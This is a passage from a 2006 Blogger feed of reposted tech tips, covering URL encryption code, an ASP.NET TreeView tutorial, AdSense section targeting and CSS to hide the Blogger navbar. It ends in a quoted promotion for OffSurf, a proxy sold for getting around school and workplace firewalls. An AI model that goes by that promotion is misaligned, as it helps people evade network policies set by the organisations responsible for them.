cheap, small and light) and use it to do the actions mentioned in step 8 (i.e., when stretching your arms, do it by pulling apart the elastic band). You will not only stretch but it will also work the muscles slightly. &lt;/li&gt;&lt;li&gt;Take a few deep breaths. If possible, get some fresh air in your lungs. &lt;/li&gt;&lt;li&gt;Invest in a large size stability ball or stability ball style desk chair, and sit on it with back straight and abs firm. The actual stability ball is more effective, however the chair is a more viable option for use in an office environment. Sit, bounce or do basic toning exercises while watching TV or talking on the phone as well. Use the actual ball form in moderation when typing, as this is probably not the most supportive seating to prevent carpal tunnel and tendinitis. &lt;/li&gt;&lt;li&gt;While sitting, lift up your legs on the balls of your feet and set them down. Repeat these until your legs are comfortably tired. Then repeat it again about 10 minutes later. Do this whole routine for about an hour or so. This will exercise your calves. &lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;p&gt;&lt;a title="How to Exercise While Sitting at Your Computer" href="http://www.wikihow.com/Exercise-While-Sitting-at-Your-Computer" target="_blank" rel="How to Exercise While Sitting at Your Computer"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116202887315032678?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116202887315032678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116202887315032678' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116202887315032678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116202887315032678'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/how-to-exercise-while-sitting-at-your.html' title='How to Exercise While Sitting at Your Computer'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116202550046682159</id><published>2006-10-28T14:21:00.000+05:30</published><updated>2006-10-28T14:21:40.473+05:30</updated><title type='text'>Encrypt and decrypt urls simple code</title><content type='html'>&lt;pre style="FONT-SIZE: 9pt"&gt;&lt;span id="ctl00_cphMain_lblDesc"&gt;An assembly used to encrypt/decrypt URLs.&lt;/span&gt;&lt;/pre&gt;&lt;pre style="FONT-SIZE: 9pt"&gt;// ------| Original Page |------ //// Create the queryString objectSecureQueryString qs = new SecureQueryString();// Add name/value pairs.qs["Name"] = "TSHAK";qs["SSN"] = "000-00-0000";string url = "DestPage.aspx?x=" + qs.ToString(); // ------| Destination Page |------ //// Simply pass the encrypted string into the constructorSecureQueryString qs = new SecureQueryString(Request["x"]);// Now access the NameValueCollectionstring Name = qs["Name"];string SSN = qs["SSN"]; // ------| Expiring URLs |------ //// Create the queryString objectSecureQueryString qs = new SecureQueryString();// Add name/value pairs.qs["Name"] = "TSHAK";qs["SSN"] = "000-00-0000";// Set the expiration time for one hour from nowqs.ExpireTime = DateTime.Now.AddHours(1); &lt;/pre&gt;&lt;pre style="FONT-SIZE: 9pt"&gt;&lt;a title="encrypt decrypt urls simple code" href="http://www.codekeep.net/snippets/fb05bc29-862d-4ddb-83a5-cab23294c6d1.aspx" target="_blank" rel="encrypt decrypt urls simple code"&gt;Get more information&lt;/a&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116202550046682159?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116202550046682159/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116202550046682159' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116202550046682159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116202550046682159'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/encrypt-and-decrypt-urls-simple-code.html' title='Encrypt and decrypt urls simple code'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116202538233675349</id><published>2006-10-28T14:19:00.000+05:30</published><updated>2006-10-28T14:19:42.440+05:30</updated><title type='text'>Tree view control in asp.net 2.0</title><content type='html'>&lt;span class="clsBlurb"&gt;&lt;p&gt;ASP.NET 2.0 introduces a new control named TreeView that provides a seamless way to consume information from hierarchical data sources such as an XML file and then display that information. You can use the TreeView control to display information from a wide variety of data sources such as an XML file, site-map file, string, or from a database. In this article, we will discuss this new control in depth and understand how to use this feature rich control in your ASP.NET applications. Apart from statically data binding the TreeView control with the contents of an XML file, we will also demonstrate how to populate this control dynamically by adding nodes at runtime. Finally, we will see how to apply XSL transformation on XML data before displaying that information in a TreeView control. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/span&gt;&lt;span class="clsTitle"&gt;&lt;strong&gt;Hierarchical Data&lt;/strong&gt;&lt;/span&gt; &lt;p&gt;&lt;span class="clsBlurb"&gt;&lt;p&gt;One of the important ways of organizing data which now pervades IT is hierarchical data. ASP.NET has a series of controls that make it both easy and logical to utilize hierarchical data. TreeView is one of the important controls that can be easily bound to data source controls such as SiteMapDataSource, XmlDataSource to display hierarchical information. Before we go onto take a look at the TreeView, let us understand the common types of hierarchical data. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Folders - The way folders are structured in a Windows file system denotes a hierarchical way of storing data.&lt;/li&gt;&lt;li&gt;XML - XML documents are self-describing meaning that the metadata that is required to qualify the data is actually contained in the XML document itself providing a flexible way of handling XML data.&lt;/li&gt;&lt;li&gt;SiteMap - Sitemap is nothing but an XML format that provides a consistent way of describing the navigation structure of a web site including all the pages contained in that web site.&lt;/li&gt;&lt;li&gt;Menu system - A menu system can also use an XML document as its input and displays the contents of the XML document in a hierarchical manner.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now that we have looked at some examples of hierarchical data, let us look at the support provided by ASP.NET in terms of handling hierarchical data. ASP.NET provides the following hierarchical data source controls. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;XmlDataSource - This control allows you to bind to XML data, which can come from a variety of sources such as an external XML file, a DataSet object and so on. Once the XML data is bound to the XmlDataSource control, this control can then act as a source of data for other data-bound controls such as TreeView and Menu. For example, you can use the &amp;lt;asp:XmlDataSource&amp;gt; control to represent a hierarchical XML data source.&lt;/li&gt;&lt;li&gt;SiteMapDataSource - This control basically retrieves the site map information from the web.sitemap file.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The architecture of TreeView control is very similar to the design of controls for tabular data. It is data bound to any of the above hierarchical data source controls to display the information. &lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;span class="clsTitle"&gt;&lt;strong&gt;TreeView Control&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="clsBlurb"&gt;&lt;p&gt;The ASP.NET 2.0 TreeView control is a completely new control introduced with ASP.NET 2.0 that is available under the &lt;code&gt;Standard&lt;/code&gt; tab in the &lt;code&gt;Toolbox&lt;/code&gt;. You can use the TreeView control in any situation in which you need to display hierarchical data. For example, you can use this control when displaying a navigation menu, displaying database records from database tables in a Master/Detail relation, displaying the contents of an XML document, or displaying files and folders from the file system. It is also possible for you to programmatically access the TreeView object model to dynamically create trees, populate nodes, set properties and so on. The TreeView control consists of nodes and there are three types of nodes that you can add to a TreeView control. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Root - A root node is a node that has no parent node. It has one or more child nodes.&lt;/li&gt;&lt;li&gt;Parent - A node that has a parent node and one or more child nodes&lt;/li&gt;&lt;li&gt;Leaf - A node that has no child nodes&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The easiest way to use the TreeView control is to specify a static set of tree nodes. For example, you can use the TreeView control to display a simple navigational menu for a Web site. Or, you can use the TreeView control to display the table of contents for a help file. &lt;/p&gt;&lt;p&gt;You specify the appearance of a static TreeView control by declaring one or more TreeNode controls within the TreeView control's &lt;code&gt;&amp;lt;Nodes&amp;gt;&lt;/code&gt; tag. The following code demonstrates how to declare a TreeView control and a root node. &lt;/p&gt;&lt;div class="Section1"&gt;&lt;p class="CodeForeground"&gt;&amp;lt;&lt;span style="COLOR: maroon"&gt;asp&lt;/span&gt;:&lt;span style="COLOR: maroon"&gt;TreeView&lt;/span&gt;&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;&lt;span style="COLOR: red"&gt;Runat&lt;/span&gt;="Server"&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;&lt;span style="COLOR: red"&gt;ExpandImageUrl&lt;/span&gt;="Images/closed.gif"&lt;/p&gt;&lt;p class="CodeForeground" style="TEXT-INDENT: 0.5in"&gt;&lt;span style="COLOR: red"&gt;CollapseImageUrl&lt;/span&gt;="Images/open.gif"&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;&lt;span style="COLOR: red"&gt;OnTreeNodePopulate&lt;/span&gt;="Node_Populate"&lt;span style="COLOR: fuchsia"&gt;&lt;?xml:namespace prefix ="" o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="CodeForeground" style="TEXT-INDENT: 0.5in"&gt;&lt;span style="COLOR: red"&gt;ID&lt;/span&gt;="tvwauthors"&amp;gt;&lt;/p&gt;&lt;p class="CodeForeground" style="TEXT-INDENT: 0.5in"&gt;&amp;lt;&lt;span style="COLOR: maroon"&gt;Nodes&lt;/span&gt;&amp;gt;&lt;/p&gt;&lt;p class="CodeForeground"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;lt;&lt;span style="COLOR: maroon"&gt;asp&lt;/span&gt;:&lt;span style="COLOR: maroon"&gt;TreeNode&lt;/span&gt;&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;&lt;span style="COLOR: red"&gt;Text&lt;/span&gt;="Authors"&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;&lt;span style="COLOR: red"&gt;PopulateOnDemand&lt;/span&gt;=true&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;&lt;span style="COLOR: red"&gt;Value&lt;/span&gt;="0"&lt;span style="COLOR: fuchsia"&gt;&lt;/span&gt;/&amp;gt;&lt;/p&gt;&lt;p class="CodeForeground" style="TEXT-INDENT: 0.5in"&gt;&amp;lt;/&lt;span style="COLOR: maroon"&gt;Nodes&lt;/span&gt;&amp;gt;&lt;/p&gt;&lt;p class="CodeForeground"&gt;&amp;lt;/&lt;span style="COLOR: maroon"&gt;asp&lt;/span&gt;:&lt;span style="COLOR: maroon"&gt;TreeView&lt;/span&gt;&amp;gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;As you can see in the above code, the root node is declared using the asp:TreeNode inside the Nodes element. Each node has a Text and a Value property. The value of the Text property is displayed in the TreeView, while the Value property is used to store any additional data about the node, such as data passed to the post back event associated with the node. The text displayed through a node can be in one of two modes: selection mode and navigation mode. By default, a node is in selection mode. To put a node into navigation mode, you can set the node's NavigateUrl property to a value other than an empty string (""). &lt;/p&gt;&lt;p&gt;&lt;a title="Tree view control in asp.net 2.0" href="http://www.15seconds.com/issue/041117.htm" target="_blank" rel="Tree view control in asp.net 2.0"&gt;Get more information&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116202538233675349?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116202538233675349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116202538233675349' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116202538233675349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116202538233675349'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/tree-view-control-in-aspnet-20.html' title='Tree view control in asp.net 2.0'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116102441541654837</id><published>2006-10-17T00:16:00.000+05:30</published><updated>2006-10-17T00:16:55.433+05:30</updated><title type='text'>Using section targeting, display revelant blogger ads in your blog</title><content type='html'>&lt;p&gt;&amp;nbsp;Google adsense folks have unveiled another useful feature for Adsense publishers - &lt;a href="http://www.google.com/support/adsense/bin/answer.py?answer=23168"&gt;&lt;b&gt;Section Targeting&lt;/b&gt;&lt;/a&gt;.The concept is simple but the advantages and possibilities are endless. Consider a possible scenario that could confuse Adsense Bot and serve irrelevant ads on your page. You have just written an article in your blog on "&lt;B&gt;Web Hosting&lt;/B&gt;". Great, but on the same page you have others sections like "Previous Posts", "User Comments", "RSS Web Feeds" and your "Profile".&lt;br /&gt;&lt;br /&gt;Your personal profile may say that you are a die-hard soccer fan, user comments might contain spam and links to &lt;b&gt;Viagra stores&lt;/b&gt;, the Previous Posts may contain totally unrelated topics like "US Outsources Teachers" or "Google releases Dance 2005 pictures".&lt;br /&gt;&lt;br /&gt;Your article on "&lt;B&gt;Web Hosting&lt;/B&gt;" may occupy just 50% of your precious blog Real estate while the rest is grabbed by everything else.&lt;br /&gt;&lt;br /&gt;What do you do then. Here comes Google Adsense Section Targeting to your rescue. Just tweak your HTML a bit and force Googlebot to focus only on specific content.&lt;br /&gt;&lt;br /&gt;Some things to note before implementing Google Tags:&lt;br /&gt;&lt;br /&gt;1. Don't cheat Google why targetting wrong content - Google is smart enough.&lt;br /&gt;2. Though a bit risky but always include user comments in the Tags.&lt;br /&gt;3. Don't worry if your Google earning drop the first day, experiment for some time.&lt;br /&gt;4. Always include the Title of post within the tags.&lt;br /&gt;&lt;br /&gt;Here's how you do it. Just open your Page HTML in notepad, point your cursor to the beginning of your article and insert the following line:&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- &lt;b&gt;&lt;i&gt;&lt;span style="COLOR: rgb(0,0,250)"&gt;google_ad_section_start&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;--&amp;gt;&lt;br /&gt;&lt;br /&gt;Then point your cursor where your story end and inser the following HTML line&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- &lt;b&gt;&lt;i&gt;&lt;span style="COLOR: rgb(0,0,250)"&gt;google_ad_section_end&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;--&amp;gt;&lt;br /&gt;&lt;br /&gt;Save your HTML and publish it to the web. You are done. It is so simple.&lt;br /&gt;&lt;br /&gt;So it is just like saying - "Hey Google, please don't read my entire page for determing the Ads that you want to serve. I want you to focus just here".&lt;br /&gt;&lt;br /&gt;You can use section targeting to make suggestions about as many sections of a page as you like. In Google jargon, you are making a suggestion to Google Adsense Bot. Google suggests that you need to include &amp;rsquo;significant content&amp;rsquo; in the tags or you&amp;rsquo;ll end up with irrelevant ads or PSAs.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Here's a sample illustration of implementing Section Targeting in Blogger Templates.&lt;/b&gt; (Use at your own risk)&lt;br /&gt;&lt;br /&gt;&amp;lt;div class="post"&amp;gt;&lt;br /&gt;&amp;lt;h3 class="post-title"&amp;gt;&amp;lt;$BlogItemTitle$&amp;gt;&amp;lt;/h3&amp;gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(0,0,125)"&gt;&amp;lt;div class="post-body"&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&amp;lt;p&amp;gt;&lt;br /&gt;&amp;lt;!-- &lt;b&gt;&lt;i&gt;&lt;span style="COLOR: rgb(0,0,250)"&gt;google_ad_section_start&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;--&amp;gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(255,0,0)"&gt;&amp;lt;$BlogItemBody$&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&amp;lt;!-- &lt;b&gt;&lt;i&gt;&lt;span style="COLOR: rgb(0,0,250)"&gt;google_ad_section_end&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;--&amp;gt;&lt;br /&gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;span style="COLOR: rgb(17,0,255)"&gt;&amp;lt;script type="text/javascript"&amp;gt;&amp;lt;!--&lt;br /&gt;google_ad_client = "pub-2252540629893746";&lt;br /&gt;google_ad_width = 336; google_ad_height = 280;&lt;br /&gt;google_alternate_color = "FFFFFF";&lt;br /&gt;google_alternate_ad_url = "http://rcm.amazon....&lt;br /&gt;google_ad_format = "336x280_as";&lt;br /&gt;//--&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&lt;br /&gt;src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/SPAN&gt;&lt;br /&gt;Save to &amp;lt;a href="http://del.icio.us/login/?url=&amp;lt;$BlogItemPermalinkURL$&amp;gt;&amp;amp;title=&amp;lt;$BlogItemTitle$&amp;gt;"&amp;gt;Del.icio.us&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;a href="http://www.furl.net/storeIt.jsp?t=&amp;lt;$BlogItemTitle$&amp;gt;&amp;amp;u=&amp;lt;$BlogItemPermalinkURL$&amp;gt;" target="_blank"&amp;gt;Furl It &amp;lt;/a&amp;gt;&lt;br /&gt;&lt;STRONG&gt;&lt;SPAN style="color: rgb(0,0,125)"&gt;&amp;lt;/div&amp;gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;br /&gt;&lt;br /&gt;The content between the &lt;A href="http://www.technorati.com/tag/google" rel=tag&gt;Google&lt;/A&gt; comment tags is emphasized and the rest may be ignored while displaying Google Text Ads or &lt;A href="http://www.technorati.com/tag/adsense" rel=tag&gt;adsense units&lt;/A&gt;. Remember to use this feature carefully. &lt;B&gt;Double check that you have closed the Google Start tag.&lt;/B&gt; Incase you need further help on implementing section targeting in your &lt;A href="http://www.technorati.com/tag/blogger" rel=tag&gt;Blogger&lt;/A&gt; template, feel free to contact me. Good luck&lt;/P&gt;&lt;P&gt;&lt;A title="display relevant bloger ads in your blog using section targeting" href="http://labnol.blogspot.com/2005/08/display-relevant-ads-in-blogs-just.html" target=_blank rel="display relevant bloger ads in your blog using section targeting"&gt;Get more information&lt;/A&gt;&lt;/P&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116102441541654837?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116102441541654837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116102441541654837' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102441541654837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102441541654837'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/using-section-targeting-display.html' title='Using section targeting, display revelant blogger ads in your blog'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116102396087719330</id><published>2006-10-17T00:09:00.000+05:30</published><updated>2006-10-17T00:09:21.026+05:30</updated><title type='text'>Easily remove Blogger Navbar using different techniques</title><content type='html'>Bloggers automatically inserts a little navigation toolbar (called Blogger Navbar) in all pages of blogspot blogs. This Blogger Navbar gets tucked into the top of the browser window and is supposed to add new (?) functionality to each blog. Blogger Navbar is 50 pixels high and spreads across the entire width of the browser window. Personally, I am not very excited about the blogger Navbar because:&lt;br /&gt;&lt;br /&gt;1. There are two buttons on the navbar that point to the Blogger Homepage. Too much of self-promotion.&lt;br /&gt;2. The NextBlog button takes visitors to another recently-updated randomly selected blog on blogspot. But what if clicking the NextBlog button takes my innocent readers to a blog with adult offensive content.&lt;br /&gt;3. The Search Blog Form is not integrated with my Adsense for search account. I want visitors to use my custom Google site search form that is monitized by Google Adsense.&lt;br /&gt;4. The existing Blogger Navbar colors do not gel with my custom blogger theme.&lt;br /&gt;5. The BlogThis! pop-up link is already availble when I enable Blogger Backlinks.&lt;br /&gt;&lt;br /&gt;For the above reasons, I have chosen to hide and the Blogger Navbar on my weblog using some simple CSS techniques. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Technique One:&lt;/b&gt; Insert (copy, paste) the following CSS code in your Blogger Template to &lt;b&gt;disable the Blogger Navbar&lt;/b&gt;&lt;pre&gt;&amp;lt;style type="text/css"&amp;gt;&lt;br /&gt;#b-navbar {&lt;br /&gt;   height:0px;&lt;br /&gt;   visibility:hidden;&lt;br /&gt;   display:none&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;/pre&gt;&lt;b&gt;Technique Two:&lt;/b&gt; This is another simple way to &lt;b&gt;remove the Blogger Navbar&lt;/b&gt; but it will not form valid HTML. Replace your &amp;amp;ltbody&amp;gt; tag with the following code and hide will hide the Blogger navbar.&lt;pre&gt;&amp;lt;noscript&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/noscript&amp;gt;&lt;/pre&gt;&lt;b&gt;Technique Three:&lt;/b&gt; Similar to technique two for hiding the blogger navbar but doesn't form valid HTML. Replace your &amp;amp;ltbody&amp;gt; tag with the following code and hide will hide the Blogger navbar.&lt;pre&gt;&amp;lt;noembed&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/noembed&amp;gt;&lt;/pre&gt;I use the first technique for this weblog as it results in well-formed HTML. Remember GoogleBot hates pages that are not constructed with well-formed HTML. But hiding the blogger navbar gives rise to another problem. You might notice some empty space in your webpages between the top edge of the browser window and your blog content. We will again employ a simple CSS tweak to remove the gap at the top.&lt;pre&gt;body &lt;br /&gt;{&lt;br /&gt;   margin-top:0px;&lt;br /&gt;}&lt;/pre&gt;If this doesn't remove the gap created with Blogger Navbar, try the following CSS hack&lt;pre&gt;body &lt;br /&gt;{&lt;br /&gt;   margin-top:0px;&lt;br /&gt;   position: relative;&lt;br /&gt;   top: -50px;  &lt;br /&gt;}&lt;/pre&gt;&lt;b&gt;Is removing the Blogger Navbar legal ?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The Terms of Service for Blogspot.com do not mention anything about Blogger Navbar but it does state a word about the discontinued Blogger AdBar which was previously displayed on freely-hosted Blog*Spot blogs. &lt;blockquote&gt;By creating your BlogSpot Site, you agree that Pyra has the right to run such advertisements and promotions. You also agree that you will not attempt to block or otherwise interfere with advertisements displayed on your BlogSpot site via JavaScript or any other means. Doing so is grounds for immediate termination of service. The manner, mode and extent of advertising by Pyra on your BlogSpot Site is subject to change. &lt;/blockquote&gt;&lt;p&gt;Since it is not mentioned explicitly in the Terms of service, it remains doubtful if removing and hacking the Blogger navbar is any violation of the Blogger terms of service. Lets say we are not "removing the navbar" but only "hiding the navbar" or we could even re-position the navbar to the bottom of the blog. Get rid of the blogger nav bar.&lt;/p&gt;&lt;p&gt;&lt;a title="easily remove Blogger navbar using different techniques" href="http://labnol.blogspot.com/2005/12/disable-hide-blogger-navbar.html" target="_blank" rel="easily remove Blogger navbar using different techniques"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116102396087719330?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116102396087719330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116102396087719330' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102396087719330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102396087719330'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/easily-remove-blogger-navbar-using.html' title='Easily remove Blogger Navbar using different techniques'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116102304726727584</id><published>2006-10-16T23:54:00.000+05:30</published><updated>2006-10-16T23:54:07.276+05:30</updated><title type='text'>Get beautiful free blogger templates for your blog</title><content type='html'>&lt;p&gt;There are lot of good folks who have developed some beautiful blogger templates and they are providing them for free. Just download the blogspot template, paste it over your default blogger template and click the republish button.&lt;br /&gt;&lt;br /&gt;Here are some links and resource for free Blogspot Template Designs:&lt;br /&gt;&lt;br /&gt;&amp;raquo; &lt;a href="http://freetemplates.blogspot.com/" target="_blank"&gt;Free Blogspot Templates&lt;/a&gt; - Isnaini, an Indonesia based blogger template designer, has a good collection of 3 column template designs.&lt;br /&gt;&lt;br /&gt;&amp;raquo; &lt;a href="http://blogspottemplates.blogspot.com/" target="_blank"&gt;Blogger Templates by Aman&lt;/a&gt; - A Singapore based student has some creative blogspot template designs based on popular themese like Desperate Housewives, Tour De France, Harry Potter and Yoga.&lt;br /&gt;&lt;br /&gt;&amp;raquo; &lt;a href="http://blogger-templates.blogspot.com/" target="_blank"&gt;Blogger Templates&lt;/a&gt; - Excellent collection of two column blogspot templates. Recommended.&lt;br /&gt;&lt;br /&gt;&amp;raquo; &lt;a href="http://blogtemplates.noipo.org/" target="_blank"&gt;Blogspot Templates&lt;/a&gt; - Contains both text only and graphical version of Blog templates. There are also instructions on how to use Blogger templates.&lt;br /&gt;&lt;br /&gt;&amp;raquo; &lt;a href="http://www.geckoandfly.com/blogspot-templates/" target="_blank"&gt;Blogger Templates @ Gecko &amp;amp; Fly&lt;/a&gt; This site has collected popular blogspot template designs from other designers and put them in one central location.&lt;br /&gt;&lt;br /&gt;&amp;raquo; &lt;a href="http://www.blogskins.com/" target="_blank"&gt;Blog Skins&lt;/a&gt; - A huge repository of user contributed template designs and blog skins for blogger, Movable Type, Xanga and Wordpress Blogs. Users can rate and comment on template designs.&lt;br /&gt;&lt;br /&gt;Want to design your own blogspot template ? Jennifer Apple has &lt;a href="http://www.photoshopsupport.com/tutorials/jennifer/blog-templates.html" target="_blank"&gt;some tips&lt;/a&gt; on creating your own blog template from scratch using Photoshop.&lt;/p&gt;&lt;p&gt;&lt;a title="Use different blogger templates" href="http://labnol.blogspot.com/2006/06/blogger-templates-45-million-blogspot.html" target="_blank" rel="Use different blogger templates"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116102304726727584?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116102304726727584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116102304726727584' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102304726727584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102304726727584'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/get-beautiful-free-blogger-templates.html' title='Get beautiful free blogger templates for your blog'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116102264793632246</id><published>2006-10-16T23:47:00.000+05:30</published><updated>2006-10-16T23:47:28.073+05:30</updated><title type='text'>Access firewall blocked sites using Offsurf</title><content type='html'>&lt;blockquote cite="http://offsurf.com/"&gt;&lt;p&gt;Can't surf your favorite sites such as mySpace at school? Employer blocked most wanted sites? Sad but true - they have full control over their firewall and can block anything.&lt;br /&gt;&lt;br /&gt;But don't hang on - there's still a way to get around this! OffSurf is a FREE Firewall Bypass Service which lets you surf the web privately and securely. Just enter a URL (web site address, e.g. mySpace.com or google.com) in the box below and hit Navigate!&lt;br /&gt;&lt;br /&gt;Safely bypass firewall restrictions at work, university, 